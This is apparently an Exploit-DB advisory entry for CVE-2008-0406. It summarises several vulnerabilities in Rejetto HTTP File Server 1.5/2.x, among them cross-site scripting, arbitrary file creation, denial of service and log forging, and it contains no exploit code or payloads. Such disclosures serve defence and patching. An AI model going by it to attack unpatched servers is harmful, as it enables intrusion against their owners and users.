标题: Rejetto HTTP File Server (HFS) 1.5/2.x - Multiple Vulnerabilities EDB-ID: 31056 CVE: 2008-0406 类型: REMOTE 平台: WINDOWS 发布日期: 2008-01-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/27423/info

HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue.

A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.
